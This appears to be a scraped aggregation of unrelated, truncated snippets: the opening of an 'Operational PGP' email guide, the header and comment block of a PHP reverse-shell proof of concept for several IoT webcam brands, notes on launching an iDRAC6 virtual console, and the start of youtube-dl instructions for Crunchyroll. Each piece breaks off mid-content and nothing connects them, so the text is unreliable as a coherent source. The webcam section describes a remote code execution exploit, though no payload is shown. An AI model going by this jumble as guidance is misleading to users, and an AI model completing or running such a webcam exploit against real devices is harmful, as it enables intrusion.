Operational PGP

This is a guide on how to email securely.

If you are not familiar with PGP, please read another guide first. If you are comfortable using PGP to encrypt and decrypt emails, this guide will raise your security to the next level.

UCam247/Phylink/Titathink/YCam/Anbash/Trivision/Netvision/others IoT webcams : remote code exec: reverse shell PoC. (works only in qemu usermode)
<?php
/*
Updated version, 2016-12-02: fixed shellcode so it *actually* works on QEMU
usermode emulation (seems I pushed an old version), and removed debug output.
-------------------------
NB: THIS PoC ONLY WORKS IN QEMU USERMODE EMULATION!
If anyone wants to fix this, go ahead (no pun intended).
However, I don't have a vulnerable product and am unwilling to acquire one.

IDRAC6 Virtual Console Launcher
Use this as an example on how to start the virtual console without the need of Java Web Start or accessing it from the web interface.
You can use the user and password that you use for the web interface.
You need an old JRE... I used 1.7.0_80 from the Server JRE package, also I have tested successfully 1.7.0_79 with MacOS.
You don't need to install it, just extract it or copy the files in "jre" folder.
Open the viewer.jnlp file that you get by launching the virtual console from the web interface with a text editor.
Note the urls to the jar files. Download the main jar file avctKVM.jar and the libs for your operating system and architecture.
Extract the dlls (.so Linux, .jnilib MacOS) from the jar libs.

Youtube-dl with Crunchyroll

Get the following:

  • a Crunchyroll account (though they let you watch/download some videos without an account, at 480p),
  • the latest youtube-dl (brew upgrade youtube-dl),
  • your browser’s user agent,
  • your Crunchyroll cookies (cookie.txt export for Chrome is handy) into a cookies.txt file.

Then,
